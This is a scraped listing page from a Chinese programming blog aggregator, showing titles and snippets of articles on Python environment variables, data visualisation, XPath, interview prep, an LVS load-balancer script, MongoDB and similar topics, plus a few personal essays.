                        <span class="text-muted">鹤冲天Pro</span>
<a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>文章目录python中os.environos.environ简介os.environ进行环境变量的增删改查python中os.environ的使用详解1.简介2.key字段详解2.1常见key字段3.os.environ.get()用法4.环境变量的增删改查和判断是否存在4.1新增环境变量4.2更新环境变量4.3获取环境变量4.4删除环境变量4.5判断环境变量是否存在python中os.envi</div>
                    </li>
                    <li><a href="/article/1835505226933694464.htm"
                           title="Pyecharts数据可视化大屏:打造沉浸式数据分析体验" target="_blank">Pyecharts数据可视化大屏:打造沉浸式数据分析体验</a>
                        <span class="text-muted">我的运维人生</span>
<a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%8F%AF%E8%A7%86%E5%8C%96/1.htm">信息可视化</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/1.htm">数据分析</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/1.htm">数据挖掘</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4%E5%BC%80%E5%8F%91/1.htm">运维开发</a><a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF%E5%85%B1%E4%BA%AB/1.htm">技术共享</a>
                        <div>Pyecharts数据可视化大屏:打造沉浸式数据分析体验在当今这个数据驱动的时代,如何将海量数据以直观、生动的方式展现出来,成为了数据分析师和企业决策者关注的焦点。Pyecharts,作为一款基于Python的开源数据可视化库,凭借其丰富的图表类型、灵活的配置选项以及高度的定制化能力,成为了构建数据可视化大屏的理想选择。本文将深入探讨如何利用Pyecharts打造数据可视化大屏,并通过实际代码案例</div>
                    </li>
                    <li><a href="/article/1835504217729626112.htm"
                           title="Python教程:一文了解使用Python处理XPath" target="_blank">Python教程:一文了解使用Python处理XPath</a>
                        <span class="text-muted">旦莫</span>
<a class="tag" taget="_blank" href="/search/Python%E8%BF%9B%E9%98%B6/1.htm">Python进阶</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>目录1.环境准备1.1安装lxml1.2验证安装2.XPath基础2.1什么是XPath?2.2XPath语法2.3示例XML文档3.使用lxml解析XML3.1解析XML文档3.2查看解析结果4.XPath查询4.1基本路径查询4.2使用属性查询4.3查询多个节点5.XPath的高级用法5.1使用逻辑运算符5.2使用函数6.实战案例6.1从网页抓取数据6.1.1安装Requests库6.1.2代</div>
                    </li>
                    <li><a href="/article/1835503965563875328.htm"
                           title="python os.environ_python os.environ 读取和设置环境变量" target="_blank">python os.environ_python os.environ 读取和设置环境变量</a>
                        <span class="text-muted">weixin_39605414</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/os.environ/1.htm">os.environ</a>
                        <div>>>>importos>>>os.environ.keys()['LC_NUMERIC','GOPATH','GOROOT','GOBIN','LESSOPEN','SSH_CLIENT','LOGNAME','USER','HOME','LC_PAPER','PATH','DISPLAY','LANG','TERM','SHELL','J2REDIR','LC_MONETARY','QT_QPA</div>
                    </li>
                    <li><a href="/article/1835502451877310464.htm"
                           title="基于社交网络算法优化的二维最大熵图像分割" target="_blank">基于社交网络算法优化的二维最大熵图像分割</a>
                        <span class="text-muted">智能算法研学社(Jack旭)</span>
<a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E4%BC%98%E5%8C%96%E7%AE%97%E6%B3%95%E5%BA%94%E7%94%A8/1.htm">智能优化算法应用</a><a class="tag" taget="_blank" href="/search/%E5%9B%BE%E5%83%8F%E5%88%86%E5%89%B2/1.htm">图像分割</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>智能优化算法应用:基于社交网络优化的二维最大熵图像阈值分割-附代码文章目录智能优化算法应用:基于社交网络优化的二维最大熵图像阈值分割-附代码1.前言2.二维最大熵阈值分割原理3.基于社交网络优化的多阈值分割4.算法结果:5.参考文献:6.Matlab代码摘要:本文介绍基于最大熵的图像分割,并且应用社交网络算法进行阈值寻优。1.前言阅读此文章前,请阅读《图像分割:直方图区域划分及信息统计介绍》htt</div>
                    </li>
                    <li><a href="/article/1835498602294767616.htm"
                           title="特殊的拜年" target="_blank">特殊的拜年</a>
                        <span class="text-muted">飘雪的天堂</span>

                        <div>文/雪儿大年初一,家家户户没有了轰响的鞭炮声,大街上没有了人流涌动的喧闹,几乎看不到人影,变得冷冷清清。天刚亮不大会儿,村里的大喇叭响了起来:由于当前正值疾病高发期,流感流行的高峰期。同时,新型冠状病毒感染的肺炎进入第二波流行的上升期。为了自己和他人的健康安全着想,请大家尽量不要串门拜年,不要在街里走动。可以通过手机微信,视频,电话,信息拜年……今年的春节真是特别。禁止燃放鞭炮,烟花爆竹,禁止出村</div>
                    </li>
                    <li><a href="/article/1835498349264990208.htm"
                           title="2023-04-17|篮球女孩" target="_blank">2023-04-17|篮球女孩</a>
                        <span class="text-muted">长一木</span>

                        <div>1小学抑或初中阶段,在课外书了解到她的故事。“篮球女孩”。当时佩服她的顽强,也对生命多了一丝敬畏。今天刚好在公众号看到,长大后的“篮球女孩”。佩服之余又满是心疼。网络侵删祝那素未蒙面的女孩,未来一切顺遂。</div>
                    </li>
                    <li><a href="/article/1835497664922349568.htm"
                           title="使用Faiss进行高效相似度搜索" target="_blank">使用Faiss进行高效相似度搜索</a>
                        <span class="text-muted">llzwxh888</span>
<a class="tag" taget="_blank" href="/search/faiss/1.htm">faiss</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                        <div>在现代AI应用中,快速和高效的相似度搜索是至关重要的。Faiss(FacebookAISimilaritySearch)是一个专门用于快速相似度搜索和聚类的库,特别适用于高维向量。本文将介绍如何使用Faiss来进行相似度搜索,并结合Python代码演示其基本用法。什么是Faiss?Faiss是一个由FacebookAIResearch团队开发的开源库,主要用于高维向量的相似性搜索和聚类。Faiss</div>
                    </li>
                    <li><a href="/article/1835497665853485056.htm"
                           title="python是什么意思中文-在python中%是什么意思" target="_blank">python是什么意思中文-在python中%是什么意思</a>
                        <span class="text-muted">编程大乐趣</span>

                        <div>Python中%有两种:1、数值运算:%代表取模,返回除法的余数。如:>>>7%212、%操作符(字符串格式化,stringformatting),说明如下:%[(name)][flags][width].[precision]typecode(name)为命名flags可以有+,-,''或0。+表示右对齐。-表示左对齐。''为一个空格,表示在正数的左侧填充一个空格,从而与负数对齐。0表示使用0填</div>
                    </li>
                    <li><a href="/article/1835496780066811904.htm"
                           title="在一台Ubuntu计算机上构建Hyperledger Fabric网络" target="_blank">在一台Ubuntu计算机上构建Hyperledger Fabric网络</a>
                        <span class="text-muted">落叶无声9</span>
<a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E8%B6%85%E7%BA%A7%E8%B4%A6%E6%9C%AC/1.htm">超级账本</a><a class="tag" taget="_blank" href="/search/Hyperledger/1.htm">Hyperledger</a><a class="tag" taget="_blank" href="/search/fabric/1.htm">fabric</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/%E6%9E%84%E5%BB%BA/1.htm">构建</a><a class="tag" taget="_blank" href="/search/hyperledger/1.htm">hyperledger</a><a class="tag" taget="_blank" href="/search/fabric/1.htm">fabric</a>
                        <div>在一台Ubuntu计算机上构建HyperledgerFabric网络Hyperledgerfabric是一个开源的区块链应用程序平台,为开发基于区块链的应用程序提供了一个起点。当我们提到HyperledgerFabric网络时,我们指的是使用HyperledgerFabric的正在运行的系统。即使只使用最少数量的组件,部署Fabric网络也不是一件容易的事。Fabric社区创建了一个名为Cello</div>
                    </li>
                    <li><a href="/article/1835495644123459584.htm"
                           title="Day1笔记-Python简介&标识符和关键字&输入输出" target="_blank">Day1笔记-Python简介&标识符和关键字&输入输出</a>
                        <span class="text-muted">~在杰难逃~</span>
<a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/1.htm">数据分析</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/1.htm">数据挖掘</a>
                        <div>大家好,从今天开始呢,杰哥开展一个新的专栏,当然,数据分析部分也会不定时更新的,这个新的专栏主要是讲解一些Python的基础语法和知识,帮助0基础的小伙伴入门和学习Python,感兴趣的小伙伴可以开始认真学习啦!一、Python简介【了解】1.计算机工作原理编程语言就是用来定义计算机程序的形式语言。我们通过编程语言来编写程序代码,再通过语言处理程序执行向计算机发送指令,让计算机完成对应的工作,编程</div>
                    </li>
                    <li><a href="/article/1835495517774245888.htm"
                           title="python八股文面试题分享及解析(1)" target="_blank">python八股文面试题分享及解析(1)</a>
                        <span class="text-muted">Shawn________</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                        <div>#1.'''a=1b=2不用中间变量交换a和b'''#1.a=1b=2a,b=b,aprint(a)print(b)结果:21#2.ll=[]foriinrange(3):ll.append({'num':i})print(11)结果:#[{'num':0},{'num':1},{'num':2}]#3.kk=[]a={'num':0}foriinrange(3):#0,12#可变类型,不仅仅改变</div>
                    </li>
                    <li><a href="/article/1835493753557708800.htm"
                           title="每日算法&面试题,大厂特训二十八天——第二十天(树)" target="_blank">每日算法&面试题,大厂特训二十八天——第二十天(树)</a>
                        <span class="text-muted">肥学</span>
<a class="tag" taget="_blank" href="/search/%E2%9A%A1%E7%AE%97%E6%B3%95%E9%A2%98%E2%9A%A1%E9%9D%A2%E8%AF%95%E9%A2%98%E6%AF%8F%E6%97%A5%E7%B2%BE%E8%BF%9B/1.htm">⚡算法题⚡面试题每日精进</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a>
                        <div>目录标题导读算法特训二十八天面试题点击直接资料领取导读肥友们为了更好的去帮助新同学适应算法和面试题,最近我们开始进行专项突击一步一步来。上一期我们完成了动态规划二十一天现在我们进行下一项对各类算法进行二十八天的一个小总结。还在等什么快来一起肥学进行二十八天挑战吧!!特别介绍小白练手专栏,适合刚入手的新人欢迎订阅编程小白进阶python有趣练手项目里面包括了像《机器人尬聊》《恶搞程序》这样的有趣文章</div>
                    </li>
                    <li><a href="/article/1835493626688401408.htm"
                           title="Python快速入门 —— 第三节:类与对象" target="_blank">Python快速入门 —— 第三节:类与对象</a>
                        <span class="text-muted">孤华暗香</span>
<a class="tag" taget="_blank" href="/search/Python%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/1.htm">Python快速入门</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>第三节:类与对象目标:了解面向对象编程的基础概念,并学会如何定义类和创建对象。内容:类与对象:定义类:class关键字。类的构造函数:__init__()。类的属性和方法。对象的创建与使用。示例:classStudent:def__init__(self,name,age,major):self.name&#</div>
                    </li>
                    <li><a href="/article/1835492869062881280.htm"
                           title="pyecharts——绘制柱形图折线图" target="_blank">pyecharts——绘制柱形图折线图</a>
                        <span class="text-muted">2224070247</span>
<a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%8F%AF%E8%A7%86%E5%8C%96/1.htm">信息可视化</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96/1.htm">数据可视化</a>
                        <div>一、pyecharts概述自2013年6月百度EFE(ExcellentFrontEnd)数据可视化团队研发的ECharts1.0发布到GitHub网站以来,ECharts一直备受业界权威的关注并获得广泛好评,成为目前成熟且流行的数据可视化图表工具,被应用到诸多数据可视化的开发领域。Python作为数据分析领域最受欢迎的语言,也加入ECharts的使用行列,并研发出方便Python开发者使用的数据</div>
                    </li>
                    <li><a href="/article/1835491859351302144.htm"
                           title="Python 实现图片裁剪(附代码) | Python工具" target="_blank">Python 实现图片裁剪(附代码) | Python工具</a>
                        <span class="text-muted">剑客阿良_ALiang</span>

                        <div>前言本文提供将图片按照自定义尺寸进行裁剪的工具方法,一如既往的实用主义。环境依赖ffmpeg环境安装,可以参考我的另一篇文章:windowsffmpeg安装部署_阿良的博客-CSDN博客本文主要使用到的不是ffmpeg,而是ffprobe也在上面这篇文章中的zip包中。ffmpy安装:pipinstallffmpy-ihttps://pypi.douban.com/simple代码不废话了,上代码</div>
                    </li>
                    <li><a href="/article/1835491353451130880.htm"
                           title="【华为OD技术面试真题 - 技术面】- python八股文真题题库(4)" target="_blank">【华为OD技术面试真题 - 技术面】- python八股文真题题库(4)</a>
                        <span class="text-muted">算法大师</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAod/1.htm">华为od</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                        <div>华为OD面试真题精选专栏:华为OD面试真题精选目录:2024华为OD面试手撕代码真题目录以及八股文真题目录文章目录华为OD面试真题精选**1.Python中的`with`**用途和功能自动资源管理示例:文件操作上下文管理协议示例代码工作流程解析优点2.\_\_new\_\_和**\_\_init\_\_**区别__new____init__区别总结3.**切片(Slicing)操作**基本切片语法</div>
                    </li>
                    <li><a href="/article/1835491354004779008.htm"
                           title="【华为OD技术面试真题 - 技术面】-测试八股文真题题库(1)" target="_blank">【华为OD技术面试真题 - 技术面】-测试八股文真题题库(1)</a>
                        <span class="text-muted">算法大师</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAod/1.htm">华为od</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>华为OD面试真题精选专栏:华为OD面试真题精选目录:2024华为OD面试手撕代码真题目录以及八股文真题目录文章目录华为OD面试真题精选1.黑盒测试和白盒测试的区别2.假设我们公司现在开发一个类似于微信的软件1.0版本,现在要你测试这个功能:打开聊天窗口,输入文本,限制字数在200字以内。问你怎么提取测试点。功能测试性能测试安全性测试可用性测试跨平台兼容性测试网络环境测试3.接口测试的工具你了解哪些</div>
                    </li>
                    <li><a href="/article/1835490974911000576.htm"
                           title="python os 环境变量" target="_blank">python os 环境变量</a>
                        <span class="text-muted">CV矿工</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/numpy/1.htm">numpy</a>
                        <div>环境变量:环境变量是程序和操作系统之间的通信方式。有些字符不宜明文写进代码里,比如数据库密码,个人账户密码,如果写进自己本机的环境变量里,程序用的时候通过os.environ.get()取出来就行了。os.environ是一个环境变量的字典。环境变量的相关操作importos"""设置/修改环境变量:os.environ[‘环境变量名称’]=‘环境变量值’#其中key和value均为string类</div>
                    </li>
                    <li><a href="/article/1835490218845761536.htm"
                           title="Python爬虫解析工具之xpath使用详解" target="_blank">Python爬虫解析工具之xpath使用详解</a>
                        <span class="text-muted">eqa11</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>文章目录Python爬虫解析工具之xpath使用详解一、引言二、环境准备1、插件安装2、依赖库安装三、xpath语法详解1、路径表达式2、通配符3、谓语4、常用函数四、xpath在Python代码中的使用1、文档树的创建2、使用xpath表达式3、获取元素内容和属性五、总结Python爬虫解析工具之xpath使用详解一、引言在Python爬虫开发中,数据提取是一个至关重要的环节。xpath作为一门</div>
                    </li>
                    <li><a href="/article/1835486647840501760.htm"
                           title="直返的东西正品吗?直返APP安全吗?直返是正规平台吗?" target="_blank">直返的东西正品吗?直返APP安全吗?直返是正规平台吗?</a>
                        <span class="text-muted">氧惠购物达人</span>

                        <div>亲们,你们是不是经常在直返APP上买东西呀?但是,你们有没有想过,里面的东西到底是不是正品呢?这个APP安全吗?它是不是一个正规的平台呀?别着急,今天我就来给大家揭秘一下!氧惠APP(带货领导者)——是与以往完全不同的抖客+淘客app!2023全新模式,我的直推也会放到你下面。主打:带货高补贴,深受各位带货团队长喜爱(每天出单带货几十万单)。注册即可享受高补贴+0撸+捡漏等带货新体验。送万元推广大</div>
                    </li>
                    <li><a href="/article/1835484742221393920.htm"
                           title="《在战“疫”中成长致敬生活》观后感" target="_blank">《在战“疫”中成长致敬生活》观后感</a>
                        <span class="text-muted">梅子刘的刀</span>

                        <div>(作者:周晨)今天上午,我看了“我是接班人”网络大课堂《在战役中成长致敬生活》。有很多人拿出自己攒下的钱,默默地捐给了武汉,有几千块钱的、有几万块钱的,也有十几万块钱的。连小朋友也把自己的压岁钱捐给了武汉。有名环卫工人把自己五年的积蓄全部捐给了武汉。有名外卖小哥为医护人员买鞋子送吃的。还有已经治愈出院的新型肺炎病人捐了400毫升的血浆。还有位叫大树的叔叔,虽然他没有钱,但是他地里有蔬菜,捐了几大卡</div>
                    </li>
                    <li><a href="/article/1835483915071090688.htm"
                           title="【华为OD技术面试真题 - 技术面】- python八股文真题题库(1)" target="_blank">【华为OD技术面试真题 - 技术面】- python八股文真题题库(1)</a>
                        <span class="text-muted">算法大师</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAod/1.htm">华为od</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                        <div>华为OD面试真题精选专栏:华为OD面试真题精选目录:2024华为OD面试手撕代码真题目录以及八股文真题目录文章目录华为OD面试真题精选1.数据预处理流程数据预处理的主要步骤工具和库2.介绍线性回归、逻辑回归模型线性回归(LinearRegression)模型形式:关键点:逻辑回归(LogisticRegression)模型形式:关键点:参数估计与评估:3.python浅拷贝及深拷贝浅拷贝(Shal</div>
                    </li>
                    <li><a href="/article/1835483159630802944.htm"
                           title="nosql数据库技术与应用知识点" target="_blank">nosql数据库技术与应用知识点</a>
                        <span class="text-muted">皆过客,揽星河</span>
<a class="tag" taget="_blank" href="/search/NoSQL/1.htm">NoSQL</a><a class="tag" taget="_blank" href="/search/nosql/1.htm">nosql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/1.htm">数据分析</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/%E9%9D%9E%E5%85%B3%E7%B3%BB%E5%9E%8B%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">非关系型数据库</a>
                        <div>Nosql知识回顾大数据处理流程数据采集(flume、爬虫、传感器)数据存储(本门课程NoSQL所处的阶段)Hdfs、MongoDB、HBase等数据清洗(入仓)Hive等数据处理、分析(Spark、Flink等)数据可视化数据挖掘、机器学习应用(Python、SparkMLlib等)大数据时代存储的挑战(三高)高并发(同一时间很多人访问)高扩展(要求随时根据需求扩展存储)高效率(要求读写速度快)</div>
                    </li>
                                <li><a href="/article/23.htm"
                                       title="HttpClient 4.3与4.3版本以下版本比较" target="_blank">HttpClient 4.3与4.3版本以下版本比较</a>
                                    <span class="text-muted">spjich</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/httpclient/1.htm">httpclient</a>
                                    <div>网上利用java发送http请求的代码很多,一搜一大把,有的利用的是java.net.*下的HttpURLConnection,有的用httpclient,而且发送的代码也分门别类。今天我们主要来说的是利用httpclient发送请求。 
httpclient又可分为 
 
 httpclient3.x 
 httpclient4.x到httpclient4.3以下 
 httpclient4.3</div>
                                </li>
                                <li><a href="/article/150.htm"
                                       title="Essential Studio Enterprise Edition 2015 v1新功能体验" target="_blank">Essential Studio Enterprise Edition 2015 v1新功能体验</a>
                                    <span class="text-muted">Axiba</span>
<a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a>
                                    <div>概述:Essential Studio已全线升级至2015 v1版本了!新版本为JavaScript和ASP.NET MVC添加了新的文件资源管理器控件,还有其他一些控件功能升级,精彩不容错过,让我们一起来看看吧! 
syncfusion公司是世界领先的Windows开发组件提供商,该公司正式对外发布Essential Studio Enterprise Edition 2015 v1版本。新版本</div>
                                </li>
                                <li><a href="/article/277.htm"
                                       title="[宇宙与天文]微波背景辐射值与地球温度" target="_blank">[宇宙与天文]微波背景辐射值与地球温度</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E8%83%8C%E6%99%AF/1.htm">背景</a>
                                    <div> 
 
 
        宇宙这个庞大,无边无际的空间是否存在某种确定的,变化的温度呢? 
 
     如果宇宙微波背景辐射值是表示宇宙空间温度的参数之一,那么测量这些数值,并观测周围的恒星能量输出值,我们是否获得地球的长期气候变化的情况呢? 
 
 
  &nbs</div>
                                </li>
                                <li><a href="/article/404.htm"
                                       title="lvs-server" target="_blank">lvs-server</a>
                                    <span class="text-muted">男人50</span>
<a class="tag" taget="_blank" href="/search/server/1.htm">server</a>
                                    <div>#!/bin/bash 
# 
# LVS script for VS/DR 
# 
#./etc/rc.d/init.d/functions 
# 
VIP=10.10.6.252 
RIP1=10.10.6.101 
RIP2=10.10.6.13 
PORT=80 
case $1 in 
start) 
 
  /sbin/ifconfig eth2:0 $VIP broadca</div>
                                </li>
                                <li><a href="/article/531.htm"
                                       title="java的WebCollector爬虫框架" target="_blank">java的WebCollector爬虫框架</a>
                                    <span class="text-muted">oloz</span>
<a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a>
                                    <div>WebCollector主页: 
https://github.com/CrawlScript/WebCollector 
 
下载:webcollector-版本号-bin.zip将解压后文件夹中的所有jar包添加到工程既可。 
 
接下来看demo 
package org.spider.myspider;

import cn.edu.hfut.dmic.webcollector.cra</div>
                                </li>
                                <li><a href="/article/658.htm"
                                       title="jQuery append 与 after 的区别" target="_blank">jQuery append 与 after 的区别</a>
                                    <span class="text-muted">小猪猪08</span>

                                    <div>1、after函数 
定义和用法: 
after() 方法在被选元素后插入指定的内容。 
语法: 
$(selector).after(content) 
实例: 
<html> 
<head> 
<script type="text/javascript" src="/jquery/jquery.js"></scr</div>
                                </li>
                                <li><a href="/article/785.htm"
                                       title="mysql知识充电" target="_blank">mysql知识充电</a>
                                    <span class="text-muted">香水浓</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>索引  
索引是在存储引擎中实现的,因此每种存储引擎的索引都不一定完全相同,并且每种存储引擎也不一定支持所有索引类型。 
 
根据存储引擎定义每个表的最大索引数和最大索引长度。所有存储引擎支持每个表至少16个索引,总索引长度至少为256字节。 
 
大多数存储引擎有更高的限制。MYSQL中索引的存储类型有两种:BTREE和HASH,具体和表的存储引擎相关; 
 
MYISAM和InnoDB存储引擎</div>
                                </li>
                                <li><a href="/article/912.htm"
                                       title="我的架构经验系列文章索引" target="_blank">我的架构经验系列文章索引</a>
                                    <span class="text-muted">agevs</span>
<a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
                                    <div>下面是一些个人架构上的总结,本来想只在公司内部进行共享的,因此内容写的口语化一点,也没什么图示,所有内容没有查任何资料是脑子里面的东西吐出来的因此可能会不准确不全,希望抛砖引玉,大家互相讨论。 
要注意,我这些文章是一个总体的架构经验不针对具体的语言和平台,因此也不一定是适用所有的语言和平台的。 
(内容是前几天写的,现附上索引) 
  
 
 前端架构 http://www.</div>
                                </li>
                                <li><a href="/article/1039.htm"
                                       title="Android so lib库远程http下载和动态注册" target="_blank">Android so lib库远程http下载和动态注册</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/andorid/1.htm">andorid</a>
                                    <div>一、背景 
  
   在开发Android应用程序的实现,有时候需要引入第三方so lib库,但第三方so库比较大,例如开源第三方播放组件ffmpeg库, 如果直接打包的apk包里面, 整个应用程序会大很多.经过查阅资料和实验,发现通过远程下载so文件,然后再动态注册so文件时可行的。主要需要解决下载so文件存放位置以及文件读写权限问题。 
  
二、主要</div>
                                </li>
                                <li><a href="/article/1166.htm"
                                       title="linux中svn配置出错 conf/svnserve.conf:12: Option expected 解决方法" target="_blank">linux中svn配置出错 conf/svnserve.conf:12: Option expected 解决方法</a>
                                    <span class="text-muted">baalwolf</span>
<a class="tag" taget="_blank" href="/search/option/1.htm">option</a>
                                    <div>在客户端访问subversion版本库时出现这个错误: 
svnserve.conf:12: Option expected 
为什么会出现这个错误呢,就是因为subversion读取配置文件svnserve.conf时,无法识别有前置空格的配置文件,如### This file controls the configuration of the svnserve daemon, if you##</div>
                                </li>
                                <li><a href="/article/1293.htm"
                                       title="MongoDB的连接池和连接管理" target="_blank">MongoDB的连接池和连接管理</a>
                                    <span class="text-muted">BigCat2013</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a>
                                    <div>在关系型数据库中,我们总是需要关闭使用的数据库连接,不然大量的创建连接会导致资源的浪费甚至于数据库宕机。这篇文章主要想解释一下mongoDB的连接池以及连接管理机制,如果正对此有疑惑的朋友可以看一下。 
通常我们习惯于new 一个connection并且通常在finally语句中调用connection的close()方法将其关闭。正巧,mongoDB中当我们new一个Mongo的时候,会发现它也</div>
                                </li>
                                <li><a href="/article/1420.htm"
                                       title="AngularJS使用Socket.IO" target="_blank">AngularJS使用Socket.IO</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/Socket.IO/1.htm">Socket.IO</a>
                                    <div>        目前,web应用普遍被要求是实时web应用,即服务端的数据更新之后,应用能立即更新。以前使用的技术(例如polling)存在一些局限性,而且有时我们需要在客户端打开一个socket,然后进行通信。 
        Socket.IO(http://socket.io/)是一个非常优秀的库,它可以帮你实</div>
                                </li>
                                <li><a href="/article/1547.htm"
                                       title="[Maven学习笔记四]Maven依赖特性" target="_blank">[Maven学习笔记四]Maven依赖特性</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>三个模块 
为了说明问题,以用户登陆小web应用为例。通常一个web应用分为三个模块,模型和数据持久化层user-core, 业务逻辑层user-service以及web展现层user-web, 
user-service依赖于user-core 
user-web依赖于user-core和user-service 
  
依赖作用范围 
 Maven的dependency定义</div>
                                </li>
                                <li><a href="/article/1674.htm"
                                       title="【Akka一】Akka入门" target="_blank">【Akka一】Akka入门</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/akka/1.htm">akka</a>
                                    <div>什么是Akka 
Message-Driven Runtime is the Foundation to Reactive Applications 
In Akka, your business logic is driven through message-based communication patterns that are independent of physical locatio</div>
                                </li>
                                <li><a href="/article/1801.htm"
                                       title="zabbix_api之perl语言写法" target="_blank">zabbix_api之perl语言写法</a>
                                    <span class="text-muted">ronin47</span>
<a class="tag" taget="_blank" href="/search/zabbix_api%E4%B9%8Bperl/1.htm">zabbix_api之perl</a>
                                    <div>zabbix_api网上比较多的写法是python或curl。上次我用java--http://bossr.iteye.com/blog/2195679,这次用perl。for example:   #!/usr/bin/perl 
 
 use 5.010 ; 
 use strict ; 
 use warnings ; 
 use JSON :: RPC :: Client ; 
 use </div>
                                </li>
                                <li><a href="/article/1928.htm"
                                       title="比优衣库跟牛掰的视频流出了,兄弟连Linux运维工程师课堂实录,更加刺激,更加实在!" target="_blank">比优衣库跟牛掰的视频流出了,兄弟连Linux运维工程师课堂实录,更加刺激,更加实在!</a>
                                    <span class="text-muted">brotherlamp</span>
